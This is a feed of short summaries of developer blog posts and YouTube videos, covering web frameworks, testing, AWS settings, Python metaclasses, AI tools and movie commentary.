    TODAY’S PROJECT Day 2 :- Create the ball and make it move, Detect collision with wall and bounce. Day 3 :- Detect collision with paddle, detect when paddle misses, keep score. All the code will be uploaded together in day 3. Target 1 :- Creating a ball. Target 2 :- Creating collision with y axis wall.  ( 7 min )
    Vibe Coding vs No-Code: Why This AI-Driven Approach Is a Game-Changer
    A few years ago, no-code platforms like Bubble and Webflow were considered revolutionary. They allowed non-developers to build simple apps using drag-and-drop interfaces. But today, vibe coding is taking that revolution to an entirely new level. Instead of clicking around a visual editor, you just describe what you want in plain English, and AI generates the code, UI, functionality—even backend logic. No-code tools helped democratize development, but they had limits. Most could only handle basic applications and weren’t built for scalability. Vibe coding breaks this limitation. Since AI generates development-grade code, you're no longer stuck with restricted templates or plugin configurations. For example, imagine prompting: “Build an AI-powered fitness tracking app with user registration, wearable integration, and a motivational UI that feels like Apple Fitness.” Within minutes, vibe coding tools like Cursor or Claude Code can produce functional prototypes. Developers can then refine, scale, and harden it for production. Startups love this because they can test MVPs faster, adapt quickly, and iterate without burning budget. Experienced developers use it as acceleration, not replacement.  ( 6 min )
    Laravel Testing Made Simple with Pest: Write Clean, Readable, and Fast Tests
    "Testing leads to failure, and failure leads to understanding."- Burt Rutan Testing is the backbone of reliable software, but let's be honest-traditional PHPUnit tests can feel verbose and intimidating. Enter Pest, a delightful PHP testing framework that brings simplicity, elegance, and speed to Laravel testing. If you've ever wished your tests could read like plain English while being powerful enough for complex scenarios, Pest is your answer. Pest offers cleaner syntax than PHPUnit with a functional, expressive API that reads like natural language Seamless Laravel integration with built-in support for database testing, HTTP requests, and authentication Faster test execution through parallel testing and optimized architecture Expectation API makes assertions intuitive with chainable metho…  ( 12 min )
    The Library Analogy That Makes APIs Finally Make Sense
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
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    How to Disable Automatic Rearrangement of Desktops (Spaces) on Mac
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    Building a DDoS Attack Simulator to Understand Defense Strategies
    I created an educational content piece for DevOps Daily and realized something: most explanations of DDoS attacks are either too abstract or too technical. We talk about "request floods" and "mitigation strategies," but it's hard to visualize what's actually happening. So I built an interactive simulator to help bridge that gap. When you're reading about DDoS protection, you see phrases like "distributes load across multiple servers" or "rate limiting prevents abuse." But what does that actually mean when thousands of requests are hitting your infrastructure? I wanted something that would help people - especially those newer to infrastructure work - actually see these concepts in action. You can try it here: devops-daily.com/games/ddos-simulator It lets you simulate three common attack typ…  ( 7 min )
    Introducing Business Directory Script — A Complete Base to Build Modern Directory Websites
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    How I Started Writing Unit Tests for Vue Components - Part 2
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    REST Assured API Testing: Complete Beginner’s Tutorial
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    A IA está sabotando sua evolução? Velocidade de Entrega vs Profundidade de Aprendizado
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    Is AI Sabotaging Your Career Growth? Delivery Speed vs. Learning Depth
    Portuguese Version You shipped the feature in record time. The code is organized, well-typed, and passed the tests. The PR was approved. You feel invincible for having finished your sprint without much effort. But be honest with yourself for a second: if Cursor, Copilot, or any other AI tool you used during development had gone offline today, would you have been able to write that complex stream manipulation solution? Or that validation regex? Or the Dockerfile configuration? We are living in the "Golden Age" of development productivity. AI tools are not just assistants; they are force multipliers. They allow us to skip the boring part, the boilerplate, the syntax we've forgotten. But a silent side effect is happening, affecting everyone from interns to seasoned developers: the outsourcing…  ( 9 min )
    LightRAG Tutorial: Getting Started with Knowledge Graph-Based RAG
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    Understanding Virtual Accounts with Flutterwave
    If you’ve ever tried collecting payments from customers across different African countries, you know how tricky it can get, especially when dealing with local payments. Nigerians prefer bank transfers, Kenyans rely on M-Pesa, Ghanaians use Mobile Money, and South Africans lean toward cards or electronic fund transfers (EFTs). Even within a single country, customers still use different payment methods. Africa’s complex payment ecosystem makes it hard for businesses to manage and reconcile incoming payments efficiently. That’s where virtual account management comes in. They simplify things by bringing all payment methods into one unified flow that’s easier to track and reconcile. In this guide, you’ll learn what virtual accounts are, how they work, and how to integrate them into your applica…  ( 11 min )
    Understanding the Party Wall Notice: When You Need It and How to Serve It Properly
    If you’re planning home improvements — an extension, loft conversion, underpinning, or even installing a new garden wall — you might think about foundations, planning permission, or building regs. But one legal step that catches many people out is the Party Wall Notice. Ignoring it isn’t just risky; it can delay work, lead to disputes, or force costly remedial measures. This guide explains in plain English when a Party Wall Notice is required, how to prepare and serve one properly, what to expect afterwards, and how getting the process right can protect your project, your neighbours, and your sanity. A Party Wall Notice is a formal, written notification served on an adjoining owner when proposed works fall under the Party Wall etc. Act 1996. The notice explains the planned work, the propo…  ( 9 min )
    Stop Using `?.` Everywhere - You're Hiding Your Bugs
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    Build Your MVP: Find the Right Technical Co-Founder
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    A First Look at the Phoenix Framework
    As a .NET developer embarking on a journey to learn Elixir, one of the first questions is: "How do I build a web API?" In the Elixir ecosystem, the answer is overwhelmingly the Phoenix Framework. If you're familiar with ASP.NET Core, you'll find Phoenix to be a powerful and elegant counterpart. In this article, I'll break down the key components of Phoenix and draw comparisons to the .NET world to help frame my understanding. Phoenix is the web development framework for the Elixir language. It allows you to build modern web applications, including Web APIs, Web Sockets (for real-time functionality), and traditional Model View Controller (MVC) apps. In the Microsoft world, it is the direct equivalent of ASP.NET Core. Phoenix is known for high developer productivity and exceptional applicati…  ( 9 min )
    Um Primeiro Olhar sobre o Framework Phoenix
    Como desenvolvedor .NET embarcando em uma jornada para aprender Elixir, uma das primeiras perguntas é: "Como construo uma API web?" No ecossistema Elixir, a resposta é predominantemente o Framework Phoenix. Se você está familiarizado com ASP.NET Core, verá que o Phoenix é uma contraparte poderosa e elegante. Neste artigo, vou detalhar os componentes-chave do Phoenix e fazer comparações com o mundo .NET para ajudar a estruturar meu entendimento. Phoenix é o framework de desenvolvimento web para a linguagem Elixir. Ele permite que você construa aplicações web modernas, incluindo APIs Web, Web Sockets (para funcionalidade em tempo real) e aplicativos tradicionais Model View Controller (MVC). No mundo Microsoft, ele é o equivalente direto do ASP.NET Core. Phoenix é conhecido por alta produtivi…  ( 10 min )
    [Boost]
    📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )
    [Boost]
    📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )
    Closed Anonymity
    Summary The downside of using real names is the constant need for consideration, which is inherently burdensome. This makes it challenging to focus on essential discussions. While psychological safety is emphasized, building and maintaining it is daunting and often insufficient on its own. This is where "closed anonymity" comes into play. While we want to use anonymity to avoid the inherent burden of real names, we also want to ensure governance. Thus, "being anonymous within a specific organizational scope" is the balance we aim for. Even today, we work under our real names. Needless to say, using real names is burdensome. This is because, with clear visibility of ourselves and others, we must constantly be considerate in our speech and actions. We could say there is a constant hea…  ( 8 min )
    n8n: A Great Starting Point, But Not Where Real Engineering Lives
    Low-code platforms like n8n have gained popularity among beginners, freelancers, and non-technical users exploring automation and AI workflows. They promise fast development, visual orchestration, and “code-optional” integration. For many, n8n is their first exposure to automation and their first glimpse into how software engineers think. And that is its true strength: n8n is an excellent learning and experimentation tool, not an engineering platform. Just like WordPress introduces people to websites, n8n introduces people to automation. It is ideal for exploring concepts, but it is not where scalable, maintainable, production-grade systems are built. If you're new to software automation—or even if you're 10 years old and curious about how software workflows behave—n8n is a great place to …  ( 8 min )
    How Figma Make is Closing the 'Idea-to-Proof' Gap
    Every product team knows the tension between speed and clarity. Moving from a concept on a slide to something people can actually test is often slow, expensive, and fragmented. That gap between what we imagine and what we can demonstrate is where many good ideas stall. Figma Make enters this space with a bold promise: to compress the distance between idea and proof, giving teams the power to build realistic, functional prototypes directly from their designs. As a product designer, I live in the idea-to-pitch loop with a constant question: How do I make my teammates or clients see what I see? Mockup help. Words help. But they’re not enough. Whether it be pitching to investors, scoping with clients, or aligning internal teams, ideas are always easy to talk about, but hard to show. We're st…  ( 9 min )
    How CSS Grid Changed the Way I Build Web Layouts
    I remember the first time I tried building a multi-section landing page. Everything seemed fine until I had to align cards, features, and hero sections across different screen sizes. Flexbox was great, it helped me align items neatly along a row or a column. Buttons were easy to center, cards aligned without stress, and navigation bars looked clean. But when it came to arranging rows and columns simultaneously, I felt like I was juggling invisible boxes. At that point, I realized that while Flexbox is incredibly useful, it wasn’t enough for some layouts I wanted to build. That’s when I discovered CSS Grid, and it felt like a whole new world opened up. Suddenly, I could control both rows and columns, manage spacing effortlessly, and create layouts that scaled beautifully on different device…  ( 14 min )
    Branding Case Study: How Neil Patel Turned His Name into the Ultimate SEO Tool
    In the wild world of Search Engine Optimization (SEO), the competition is usually dominated by software with super technical or keyword heavy names. You know the type: "SEO Master Pro," or "Keyword Elite." But then, there is one phenomenon that challenges all the rules: Neil Patel. It’s not "The Ultimate SEO Analyzer" this dominant service is widely known purely by the power of its founder's name. The success of Ubersuggest isn't just about sophisticated algorithms; it’s a masterclass in personal branding. In the digital realm, tools usually rely on descriptive names. Neil Patel and Ubersuggest took a different, far more effective route. Here is the breakdown: Neil Patel isn't just selling an SEO tool; he is selling his expertise in the form of a tool. Because he spent years building an i…  ( 7 min )
    Introduction to Python Metaclasses
    Metaclasses are one of those Python features that sound complicated but are actually based on a simple idea: Classes create objects. That’s it. When you write: class User: pass the class User is actually an object, and Python needs something to build that object. print(type(User)) Output: So type is the “class-maker.” Why Would You Ever Use a Metaclass? Most people never do — and that’s fine. But frameworks like Django, SQLAlchemy, and Pydantic use metaclasses to: add extra attributes to classes validate or modify classes at creation time automatically register subclasses build features with less boilerplate A metaclass lets you run logic when the class is created, not when it runs. A Basic Metaclass Example This metaclass prints the name of the class being created: class LoggerMeta(type): def __new__(cls, name, bases, attrs): print("Creating:", name) return super().__new__(cls, name, bases, attrs) Using it: class Example(metaclass=LoggerMeta): pass When the file loads, it prints: Creating: Example Because the metaclass runs before the class exists. Adding Automatic Attributes A more practical example: class InfoMeta(type): def __new__(cls, name, bases, attrs): attrs["source"] = "auto" return super().__new__(cls, name, bases, attrs) Usage: class Product(metaclass=InfoMeta): pass print(Product.source) Output: auto The metaclass quietly added the attribute. When to Use Metaclasses Use them only when you need to control how classes are built — usually in libraries or frameworks. Normal applications almost never need them.  ( 6 min )
    From a $440M Exit to Building the "GitHub for IP": The Story Protocol Journey
    You'll need lawyers, lengthy contracts, expensive legal battles, and even then, once your work is online, tracking who's using it is nearly impossible. And don't even get me started on AI companies scraping your content to train their models without asking permission or paying you a dime. Enter S.Y. Lee—a Korean entrepreneur who sold his last startup for $440 million and decided his next mission would be to fix the entire broken system of intellectual property. The result? Story Protocol, a blockchain that just launched in February 2025 and is already valued at $2.25 billion. This is the story of how a serial founder, a Google DeepMind product manager, and a team of absolute grinders built what they're calling "programmable IP"—and why it might just change how every creator, artist, and AI…  ( 15 min )
    JavaScript Closures Finally Clicked!
    You know that moment when you’ve read the same MDN paragraph 17 times and closures still feel like black magic? Same story here. Every JavaScript dev hits this wall at some point, especially with modern React, custom hooks, event handlers, and AI-driven tooling becoming more closure-heavy in 2025. But once closures “click”, your debugging skill skyrockets. In this article, I will give you the explanation I wish someone had told me years ago, simple, practical, and free of textbook jargon. Let’s break this down. A closure is a function that remembers where it was born. That’s it. Even when it leaves its original home, a closure keeps access to the variables that were around during its creation. Here’s the catch: “memory” survives even after the outer function finishes running. Imagine you’r…  ( 8 min )
    Architecting Resilient Caching in Symfony: Beyond get() and set()
    The Symfony Cache component is often the most under-utilized tool in a developer's arsenal. Most implementations stop at "install Redis" and wrap a few database calls in a $cache->get() closure. While functional, this barely scratches the surface of what the component can do in high-throughput, distributed environments. In Symfony 7.3, the Cache component is not just a key-value store; it is a sophisticated system capable of tiered architecture, probabilistic stampede protection and transparent encryption. This article explores important caching strategies that solve expensive architectural problems: latency, concurrency (thundering herds), security (GDPR) and distributed invalidation. In microservice architectures or high-traffic monoliths, a network call to Redis (typically 1–3ms) can ev…  ( 12 min )
    ENABLE EBS ENCRYPTION BY DEFAULT IN 30 SECONDS
    The One Security Setting Every AWS Account Needs We have all been there. You are in a rush to launch an EC2 instance. You click through the configuration screens, hit "Launch," and then realize... you forgot to tick the "Encrypt" box for the storage volume. In the world of cloud security, human error is the biggest risk. But what if you could "future-proof" your account so that you never have to remember to click that button again? There is a setting in AWS that takes literally 30 seconds to turn on, costs nothing extra to enable, and ensures that every single new hard drive (EBS volume) you create is encrypted automatically. Here is how to turn it on, why it matters, and the few things you need to know. Think of EBS Encryption by Default as automatically locking your front door every ti…  ( 8 min )
    Replace Expensive AI with Free TextBlob - Stop Paying for Simple NLP Tasks
    What if I told you that for about 80% of text-analysis tasks, you don’t need ChatGPT, Claude, Gemini, or any paid API at all? Instead, you can use a tiny, powerful, and completely free Python library that has quietly existed for years: TextBlob. In a world where AI APIs cost real money, sometimes a lot of money, TextBlob is a reminder that not every problem needs a 175-billion–parameter transformer. For many day-to-day NLP tasks, a lightweight local tool is all you need. Let’s explore how TextBlob can replace expensive AI calls and save you time, money, and compute, without sacrificing usefulness. TextBlob is a lightweight, beginner-friendly natural language processing (NLP) library for Python. It’s built on top of two foundational NLP tools, NLTK and pattern, and provides a clean, simple…  ( 10 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Revisited Bill Simmons and Kyle Brandt dig into John Hughes’s 1985 teen classic, Weird Science, unpacking its over-the-top ’80s vibe—think sex, drugs, rock ’n’ roll (plus obligatory chips, dips, chains and whips)—and celebrating the on-screen magic of Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Along the way they give a nod to producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, toss in a State Farm sponsor shout-out, and remind you to subscribe to The Ringer’s YouTube channels for more movie deep dives. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less is CinemaSins’s latest dive down the yellow brick road—reevaluating The Wiz now that Wicked is back in theaters and asking if it’s better than you remember. They’ve packed the description with links to their site, socials, a sinful poll, and Patreon. The video credits writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and invites fans to follow along on Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With KPop Demon Hunters in 16 Minutes Or Less,” their trademark rapid-fire roast of the movie’s quirks, plot holes and over-the-top demon-slaying. They promise plenty of snark, invite you to weigh in on their sinful poll, and remind you that if you love the bit, supporting them on Patreon keeps the little team going. Beyond the sins, they’re plugging all the usual suspects: YouTube channels (@TVSins, @commercialsins), socials (Twitter, Instagram, TikTok), their Discord and Reddit communities, and even Jeremy’s book. If you can’t get enough, everything’s conveniently linked via their linktr.ee page. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Biggest Disney Bombs: The Sorcerer's Apprentice – Caravan of Garbage Disney’s recent slate has been hit or miss – Marvel and Star Wars installments aren’t flying like they used to, and newer originals like Wish and Elio have barely made a ripple. But hey, this isn’t uncharted territory for the Mouse House. Over the next few weeks, “Caravan of Garbage” is diving into four of Disney’s most spectacular live-action flops. Kicking things off is 2010’s The Sorcerer’s Apprentice, complete with Nicolas Cage, questionable magic, and… a giant bird? Join James and Maso as they revisit the film you probably forgot (but they definitely haven’t), and get ready for more glorious dumpster dives into Disney’s dud-dusted past. Watch on YouTube  ( 6 min )
    Async Validation in Angular Signal Forms (Complete Guide)
    With Angular 21 introducing the new Signal Forms API, we now have a different and more streamlined way to approach async validation. In this post, we'll walk through how async validators work in Signal Forms, including how to set up a debounced username check using validateAsync(), resource(), and custom async errors. You'll see how pending states, real-time feedback, and server-backed checks fit into this updated pattern giving you a clear understanding of how async validation is handled in Angular's modern form system. Starting with a Basic Signal Form For this example, we'll be using an Angular form: It has a username field and that field should check the server to see if the username exists as the user types. Easy enough, right? But there's a twist: this form uses the …  ( 13 min )
    AWS Multi-Account Guardrails: A Complete Blueprint for Secure, Automated Cloud Governance
    Freedom without control is chaos — and control without freedom is stagnation. Mature cloud organizations move fast and remain compliant — without slowing developers down with approvals and manual reviews. The solution: Guardrails, not gates. In this deep-dive, I will walkthrough an AWS-native governance model using Policy as Code (PaC) across a multi-account AWS environment, leveraging: AWS Organizations, Control Tower, SCPs, AWS Config, CloudFormation Guard, Security Hub, Audit Manager, EventBridge, Lambda Remediation, and Amazon Detective. This is the blueprint can be used to achieve continuous compliance, audit readiness, and autonomous engineering velocity. As organizations scale from a few accounts to hundreds of workloads, familiar problems quickly appear: Inconsistent tagging — reso…  ( 14 min )
    How a Cat, Panpsychism, and Late-Night Videos Helped Me Create a Tool That Will Save You 87% of Your AI Development Time
    2:47 AM. Phone vibrating... I turned on the screen expecting a notification, but instead saw a strange video, filmed as if through an old VHS tape. A person on screen spoke quietly, almost in a whisper: "If everything has consciousness... even a brick... even this table... then where do I end?" This was two days after a black cat had wreaked havoc in our kitchen. And an hour after I'd deleted all the text of a song for the hundredth time—a song I was trying to write about that incident. I wanted to write a song about that morning—about the cat-bandit, about my rage, about the strange insight that came later. But the words wouldn't come. I turned to AI: "Write a song about a cat that made a mess in the kitchen" The results were predictably awful—cliché rhymes, flat emotions, none of the d…  ( 9 min )
    What Is Asset Health in IT Asset Management?
    What Is Asset Health? Asset health shows how well an IT asset is performing at a given moment. It helps you see if a device or system is working normally or starting to show problems. In IT Asset Management (ITAM), asset health reflects the condition, reliability, and performance of your hardware and software. A healthy asset runs smoothly and stays updated. An unhealthy asset may slow down, freeze, or require frequent support. Think of asset health as a simple status check for your IT environment. When you understand the health of your assets, you can plan maintenance, prevent downtime, and decide when to repair or replace equipment. Why Asset Health Is Important Asset health matters because it tells you if your devices and systems can support your daily work without problems. When y…  ( 11 min )
    In the AI Wind, Even Pigs Can Fly? — A Developer's Reality Check in 2025
    There is a famous business saying that has echoed through the tech world for years: "Standing in the wind, even a pig can fly." It implies that if the trend (the "wind") is strong enough, anyone can succeed, regardless of their actual skill level. Now, we are in November 2025. The AI "wind" is no longer a breeze—it is a hurricane. We have LLMs that refactor legacy code better than seniors, image models that understand complex physics, and video generators that dream in 4K. But look around. Are the "pigs" flying? Why? Because in a hurricane, if you don't understand aerodynamics, you don't fly. You just get thrown against a wall. Here is my controversial take for 2025: AI doesn't make it easier to be mediocre. It raises the bar for being competent. This brings me to how I rebuilt my workflow…  ( 8 min )
    Agentic AI Frameworks Comparison 2025: mcp-agent, LangGraph, AG2, PydanticAI, CrewAI
    Technical comparison of MCP-native and traditional agentic frameworks with production considerations for building AI agents Use Case Framework Why MCP-native development mcp-agent Built for MCP from day one Visual debugging LangGraph Studio with time-travel debugging Multi-agent conversations AG2 Agents coordinate autonomously Type safety PydanticAI Full Pydantic validation Rapid prototyping CrewAI No-code Studio interface GitHub: lastmile-ai/mcp-agent | Python Python framework built for Model Context Protocol. Native MCP implementation, not an adapter. Key Features: Native MCP implementation - Full protocol support (tools, resources, prompts, notifications, OAuth) Automatic durable execution - Switch to Temporal in one config line, no manual checkpointing Cloud deployme…  ( 9 min )
    From "Gacha" to "Productivity": A Deep Dive into Nano Banana Pro
    In the AI image generation landscape of late 2025, Google DeepMind's Nano Banana Pro (also known as GemPix 2) has landed as a significant disruptor. Moving away from the "Gacha-style" randomness of early diffusion models, Nano Banana Pro marks the official entry of image generation into the era of "Logical Reasoning". Based on various technical reviews and data, this article analyzes the model's market positioning and technical value across three dimensions: architecture, consistency breakthroughs, and commercial application. Traditional text-to-image models often relied on probability fitting, leading to frequent physical hallucinations. Nano Banana Pro, however, is defined as a "Reasoning Model." Before generating pixels, it performs internal logical deductions to understand the physical…  ( 7 min )
    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
    Tricky shook up the ’90s by ditching the “Trip-Hop” tag and forging a claustrophobic, genre-bending sound with Martina Topley-Bird—melding soul, dub reggae and downtempo hip-hop into something dark, paranoid and totally his own. His debut album Maxinquaye, born from personal trauma and medicated melancholy, earned Bowie-style comparisons and critical praise for redefining what British hip-hop could be. But as Maxinquaye’s eerie grooves hit the airwaves, the industry sanitized Tricky’s raw edge, packaging his sonic experiments for mainstream radio. The story of Maxinquaye is one of groundbreaking innovation, creative ownership wrested away, and the ongoing journey of an artist who never quite fit the mold. Watch on YouTube  ( 6 min )
    SIMA 2: Gemini-Powered Agent That Nearly Doubles Task Success
    Everyone's talking about SIMA 2, DeepMind's Gemini-powered game agent, but the real opportunity is how it will change testing, training, and UX. Game AI is no longer a party trick. It is a universal agent that follows goals across worlds. That shifts how you build, test, and launch products. SIMA 2 understands goals, explains plans, and learns by exploring thousands of complex 3D worlds. It follows voice or even emoji commands, then tells you what it will do next. The truth is simple. Goal-following agents will become the new UI for complex work. ⚡ SIMA 2 nearly doubles task success versus its earlier version. That improvement actually unlocks practical pilots beyond games. Example. Ask it to gather resources in a new scene, and it explains the plan, executes steps, and adapts when the map changes. Now imagine the same pattern for QA, training sims, or ops runbooks. ↓ Pilot framework you can run in 14 days. • Pick one high-friction workflow in a safe sandbox. • Define a clear goal, guardrails, and a success metric. • Feed 20 to 50 examples and set a prompt plus feedback loop. ↳ Log plans, failures, and fixes to improve it daily. • Measure cycle time, error rate, and human handoffs. → If it beats baseline by 20 percent or more, expand to a second workflow. You will cut rework, learn faster, and ship with more confidence. Early movers will quietly build an advantage that compounds. What would you test first with a goal-following agent like this?  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic starring Anthony Michael Hall, Kelly LeBrock, and Ilan Mitchell-Smith. Expect all the sex, drugs, rock ’n’ roll, chips, dips, chains and whips that made this flick legendary. They dissect favorite scenes, revel in ’80s nostalgia, and dish out hilarious commentary on the film’s quirks, making this episode a must-listen for fans of cheesy special effects and Hughes’s brand of teen comedy. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    Sean Fennessey and Amanda Dobbins slot Inglourious Basterds at No. 4 in their 21st-century movie countdown, arguing it’s Quentin Tarantino’s definitive triumph—outshining Once Upon a Time in Hollywood with its bold rewrite of WWII history and, of course, Christoph Waltz’s scene-stealing, Oscar-winning turn. They dig into the film’s lasting legacy—how its blend of tension, dark humor and revisionist fantasy rewrote the rules of blockbuster storytelling and still feels electrifying almost two decades later. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road—just in time for Wicked’s theatrical return—to tear down the 1978 musical with polemic precision, nitpicking every plot hole, off-key moment, and questionable dance number in trademark snarky style. Want more sinful content? Cruise over to cinemasins.com or their linktr.ee, fill out the “sinful” poll, and back the crew on Patreon. You can also stalk Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel across Twitter, Discord, Reddit, Instagram, and TikTok for extra cinema shade. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped a new “Everything Wrong With KPop Demon Hunters in 16 Minutes or Less” video, roasting every supernatural slip-up in the film. They’re your one-stop sin shop—hit up their site or linktr.ee for the freshest updates, fill out their sinful poll, and if you wanna keep the jokes coming, back them on Patreon. This episode was cooked up by Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you can hang with the ever-loving sin community on Discord, Reddit, Instagram and TikTok (plus grab Jeremy’s book for more cinema carnage). Watch on YouTube  ( 6 min )
    SLS Copilot in Practice: Building a Flexible Data Infrastructure for LLM Applications with SLS
    By Zhi Shao, From the Alibaba Cloud SLS Team Introduction As large language model (LLM) applications develop rapidly, we often focus on model fine-tuning and feature implementation. However, we tend to overlook a critical question: How do you effectively monitor, diagnose, and optimize live LLM applications? This article shares our engineering practices from building the SLS SQL Copilot. It shows how to build a complete data infrastructure for LLM applications using SLS. Background: Observability Challenges in LLM Application Development 1.1 The Rise and Limitations of the Dify Platform Dify is a popular platform for developing LLM applications. Its visual workflow design and rich widget ecosystem make development much easier. Our team chose Dify to build our SQL Copilot application. The …  ( 18 min )
    1) Describe the Python Selenium Architecture in Detail And What is the Significance of the Python Virtual Environment?
    1) Describe the Python Selenium Architecture in Detail Python Selenium follows a client–server architecture designed to automate web browsers efficiently. The main components work together in a sequence to execute browser actions. Selenium Client (Python Bindings) The Selenium Python library is where automation scripts are written. WebDriver Protocol The WebDriver protocol (JSON Wire Protocol / W3C WebDriver) acts as a communicator between Python code and the browser driver. Browser Drivers Each browser has its own driver responsible for executing commands inside the browser. Examples include chromedriver, geckodriver, msedgedriver, and safaridriver. Functions of browser drivers: Receive Selenium commands Convert commands into browser actions Send results back to Selenium Browser The actua…  ( 7 min )
    How To Build Money Machines With AI While Everyone Else Scrolls TikTok
    It’s finally time to spill the beans on this secret money making tactic. Sharing is caring… Right? ⸻ There is a strange quiet in the world right now. A quiet that only shows up before a storm. The storm in question is not weather and it is not social commentary. It is a shift in how people work and how money moves. Most people cannot see it because they are too busy with the endless scroll. Their attention is trapped in the hypnosis loop of short form entertainment. Their imagination is melted to the shape of whatever the algorithm feeds next. You are not here for that. You are here because you suspect something. You feel that AI is not another trend. You sense that it is the infrastructure for an entirely new class of income streams. You suspect that the people who learn how to shape it …  ( 12 min )
    Angular 21 Released: What’s New & Developer Guide
    Angular 21 landed on November 20, 2025, delivering major upgrades that improve performance, DX (developer experience), AI integration, and accessibility for web developers. Features Overview Performance Boosts AI-Driven Developer Tools Signal Forms Accessibility Build Optimizations Upgrade Tips 🎬 YouTube Series: Angular 21 Conclusion HttpClient Default: Instantly available in every project, reducing setup time. Zoneless Change Detection: Eliminates dependency on Zone.js for rapid updates. Signal Forms: Reactive, type-safe forms API replacing older RxJS-based methods. NgStyle Control Flow: Use @if, @for, and @switch inside templates for more dynamic UI. AI-Powered MCP Server: Smart migration guides, code suggestions, and best practice enforcement embedded into your workflow. Improved ARIA …  ( 7 min )
    How Impeller Is Transforming Flutter UI Rendering in 2026
    Flutter has long been a favorite for cross-platform development, but early versions faced a persistent enemy: shader compilation jank. This stuttering effect, often visible during the first run of an animation, frustrated developers and users alike. By 2026, the Impeller rendering engine has largely solved this issue, replacing the Skia engine with a solution built specifically for Flutter’s needs. This new engine delivers silky-smooth visuals by precompiling shaders, ensuring predictable performance on modern devices. Impeller is the dedicated rendering engine designed to replace Skia in Flutter applications. Unlike Skia, which was a general-purpose 2D graphics library, the Flutter team built Impeller from the ground up to leverage modern hardware APIs. It utilizes Metal on iOS and Vulkan…  ( 12 min )
    Meet Quesby: A Privacy-First Eleventy Starter That Stays Out of Your Way
    I've always loved static site generators. But every time I wanted to spin up a small, focused site, I kept hitting the same problems: Boilerplates full of stuff I didn't ask for Too many external dependencies Complex setups just to publish a few pages or blog posts So I ended up building my own starter – and that's how Quesby was born. (Pronounced /ˈkiːz.bi/, like "keys-bee".) Quesby is the boilerplate that powers my own site at quesby.dev, and now it's open for you to use too. Quesby is a modern Eleventy boilerplate with a privacy-first mindset, Decap CMS integration, and a tiny core you can actually understand. It's a clean starting point for content-driven sites where you still stay in control. You might like Quesby if you: Enjoy Eleventy but don't want to wire everything from sc…  ( 7 min )
    Type hints in Python (2)
    *Memo: My post explains type hints (1). The value None should be used as a type within a type hint because the type NoneType gets error as shown below: v: None # No error from types import NoneType v: NoneType # error: NoneType should not be used as a type, please use None instead The function which only returns None gets the error if defining and calling the function, and printing the return value as shown below: *Memo: The error can be disabled using --disable-error-code with func-returns-value: mypy --strict --disable-error-code func-returns-value test.py. mypy --disable-error-code func-returns-value test.py. Only defining and calling the function doesn't get the error. Only defining the function doesn't get the error. I reported the strange behaviour as the issue. def func()…  ( 8 min )
    What was your win this week?!
    👋👋👋👋 Looking back on your week -- what was something you're proud of? All wins count -- big or small 🎉 Examples of 'wins' include: Getting a promotion! Starting a new project Fixing a tricky bug Finally replacing that dying houseplant you've been ignoring 🪴 Happy Friday!  ( 6 min )
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    Two weeks ago, I launched an ai tattoo generator called TattooRed. Today, I have 200 pages generated and 15 indexed by Google. But here's the interesting part: users generate the content, GPT-4o Vision enriches it, and Next.js 15 serves it—automatically. The architecture is designed to scale from 0 to 100K+ pages at $0.006 per page. Here's exactly how it works—including the disasters I didn't anticipate. I started building an ai tattoo generator. The obvious keyword was "ai tattoo generator" (22K monthly searches). But then I discovered "tattoo ideas" gets 135K monthly searches with similar difficulty (56% vs 50%). The opportunity was massive. But here's the challenge: How do you create 10,000+ unique, SEO-optimized pages for long-tail keywords like: "minimalist lion tattoo ideas" "waterco…  ( 12 min )
    Awakening Inner Joy: The Vision, Challenges, and Future of Joy Potential
    In a world overflowing with responsibilities, emotional burdens, and the constant pressure to “do more,” many people find themselves disconnected from a deeper source of fulfillment: genuine inner joy. Joy Potential emerges as a guiding light in this landscape, offering a sanctuary for individuals seeking to reconnect with their purpose, rekindle their inner spark, and rediscover a sense of aliveness that transcends daily stress. Rather than focusing on fleeting happiness, Joy Potential represents a movement centered on unconditional, embodied joy—joy that emerges from healing, self-awareness, and transformation. At its core, Joy Potential provides programs, experiences, coaching, and transformational methodologies designed to help people heal emotional wounds, rewire limiting beliefs, and…  ( 10 min )
    Custom Hook - UseState
